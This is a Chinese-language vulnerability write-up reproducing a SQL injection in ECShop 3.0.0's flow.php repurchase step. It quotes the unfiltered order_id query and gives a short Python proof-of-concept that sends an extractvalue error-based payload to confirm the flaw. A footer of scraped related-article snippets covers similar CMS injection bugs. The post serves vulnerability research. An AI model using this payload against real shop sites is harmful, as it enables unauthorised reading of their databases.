ecshop3.0.0 release0518 SQL注入

bugscan上的漏洞,自己复现了一下

注入在根目录下的flow.php

elseif ($_REQUEST[‘step‘] == ‘repurchase‘) {
    include_once(‘includes/cls_json.php‘);
    $order_id = strip_tags($_POST[‘order_id‘]);
    $order_id = json_str_iconv($order_id);
    $db->query(‘DELETE FROM ‘ .$ecs->table(‘cart‘) . " WHERE rec_type = " . CART_REPURCHASE);
    $order_goods = $db->getAll("SELECT goods_id, goods_number, goods_attr_id, parent_id FROM " . $ecs->table(‘order_goods‘) . " WHERE order_id = " . $order_id);
    $result = array(‘error‘ => 0, ‘message‘ => ‘‘);
    $json  = new JSON;
    foreach ($order_goods as $goods) {
        $spec = empty($goods[‘goods_attr_id‘]) ? array() : explode(‘,‘, $goods[‘goods_attr_id‘]);
        if (!addto_cart($goods[‘goods_id‘], $goods[‘goods_number‘], $spec, $goods[‘parent_id‘], CART_REPURCHASE)) {
            $result = false;
            $result = array(‘error‘ => 1, ‘message‘ => $_LANG[‘repurchase_fail‘]);
        }
    }
    die($json->encode($result));
}

看到这两句

$order_id = strip_tags($_POST[‘order_id‘]);

$order_goods = $db->getAll("SELECT goods_id, goods_number, goods_attr_id, parent_id FROM " . $ecs->table(‘order_goods‘) . " WHERE order_id = " . $order_id);

发现没有对order_id进行过滤

我们发现单引号被addslashes了,但是仔细看看这段代码

$order_goods = $db->getAll("SELECT goods_id, goods_number, goods_attr_id, parent_id FROM " . $ecs->table(‘order_goods‘) . " WHERE order_id = " . $order_id);

发现order_id参数不需要单引号便能注入

直接注入

注入成功了

下面给出验证POC:

import requests

def check_vulnerable(check_url):
    if check_url[-1] == ‘/‘:
        url = check_url + ‘flow.php?step=repurchase‘
    elif check_url[-1] != ‘/‘:
        url = check_url + ‘/flow.php?step=repurchase‘
    post_data = {"order_id":"order_id=1 or extractvalue(1,concat(0x7e,md5(1))) or 1#"}
    res = requests.post(url,data=post_data)
    if res.status_code == 200 and ‘c4ca4238a0b923820dcc509a6f75849‘ in res.text:
        return True
    else:
        return False

if __name__ == ‘__main__‘:
    check_url = raw_input("Input URL:")
    if check_vulnerable(check_url):
        print "It‘s vulnerable"
    else:
        print "It‘s not vulnerable"

顺便把源码包分享给想要复现的朋友们:

https://pan.baidu.com/s/1c1Ldye8

时间: 2024-10-13 07:55:11

ecshop3.0.0 release0518 SQL注入的相关文章

PHPCMS9.6.0最新版SQL注入和前台GETSHELL漏洞分析 (实验新课)

PHPCMS9.6.0最新版中,由于/modules/attachment/attachments.php的过滤函数的缺陷导致了可以绕过它的过滤机制形成SQL注入漏洞,可导致数据库中数据泄漏. 而且在前台上传文件处,没有对文件后缀进行严格的审查,导致可以前台GETSHELL,直接获取到了网站的权限.点击马上实验,i春秋安全专家带你体验漏洞成因及危害. https://www.ichunqiu.com/course/58003  课程详解 DEF CON 24·400米之外破解你的智能蓝牙锁(公开

ThinkCMF x2.2.0 多处SQL注入漏洞

0x00:漏洞概述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发 这些漏洞貌似都是再后台管理员存在的漏洞 测试版本  ThinkCMF x2.2.0 影响版本  参考链接测试版本是  x2.2.2,至少到这个版本 参考链接:https://anquan.baidu.com/article/490 0x01:漏洞测试 (1)CommentadminController.class.php check.delete方法S

PHPCMS v9.6.0 wap模块 SQL注入

调试这个漏洞的时候踩了个坑,影响的版本是php5.4以后. 由于漏洞是由parse_str()函数引起的,但是这个函数在gpc开启的时候(也就是php5.4以下)会对单引号进行过滤\'  . 看这里:https://github.com/80vul/pasc2at 漏洞来源:https://www.seebug.org/vuldb/ssvid-92929 分析:这个漏洞要三步的过程,直接进入第三步. 根据给的poc:   /phpv9.6.0/index.php?m=content&c=down

Ado.net 三[SQL注入,DataAdapter,sqlParameter,DataSet]

1.SQL注入:SQL注入攻击是web应用程序的一种安全漏洞,可以将不安全的数据提交给运用程序,使应用程序在服务器上执行不安全的sql命令.使用该攻击可以轻松的登录运用程序. 例如:该管理员账号密码为xiexun,该sql的正确语句应该为: select * from Users where userName='xiexun' 如果在没有做任何处理的情况下,在登录名文本框中输入(xuxian' delete users--),单击"登录"按钮之后,相当于传了两句sql语句,一句执行查询

初探SQL注入

1.1注入语句(通过时间注入函数) 数据库名称 localhost:8080/ScriptTest/userServlet?username='union SELECT IF(SUBSTRING(current,1,1)=CHAR(101),BENCHMARK(10000000,ENCODE('sasssG','zcxczx')),null),count(*) FROM (SELECT Database() as current) as tbl;--  password=W 判断该数据库的系统用

pymysql的使用及sql注入

pymysql简介 pymysql是python操纵mysql的一个模块,本质上是一个socket客户端 pymysql使用 准备数据 #创建数据库db2,如果已存在,请忽略 CREATE DATABASE db2 DEFAULT CHARACTER SET utf8; #创建用户表 CREATE TABLE `userinfo` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT COMMENT 'id', `username` varchar(20

EntityFramework Core 2.0执行原始查询如何防止SQL注入?

前言 接下来一段时间我们来讲讲EntityFramework Core基础,精简的内容,深入浅出,希望为想学习EntityFramework Core的童鞋提供一点帮助. EntityFramework Core执行原始查询 在EntityFramework Core中执行原始查询我们借助FromSql来实现,如下: using (var context = new EFCoreDbContext()) { var orders = context.Orders .FromSql("SELECT

Axublog 1.1.0 c_login.php存在sql注入漏洞

0x00前言 开始从小的漏洞开始练习,搬运项目地址: https://github.com/imsebao/Code-Audit 0x01 Axublog是一款PHP个人博客系统. Axublog(c_login.php)存在SQL注入漏洞.攻击者可利用漏洞, 直接进行注入,获取数据库敏感信息. 漏洞分析: 漏洞出现在后台登录验证的部分. 首先看后台登录页面代码.www/ad/login.php <?php include_once("all.php"); header(&quo

eml 企业通讯录管理系统 v5.0 SQL 注入

0x00前言 开始从小的漏洞开始练习,搬运项目地址: https://github.com/imsebao/Code-Audit 0x01 EML 企业客户关系管理系统,是基于 Linux 开放性内核和 Apache 基础上 Php+Mysql 的智能 B/S 交互式服务系统. eml 企业通讯录管理系统 v5.0 登录页面 username 参数 过滤不严导致 sql 注 入. WWW/action/action.user.php 文件 第 23 行 //验证登录 if($do=="login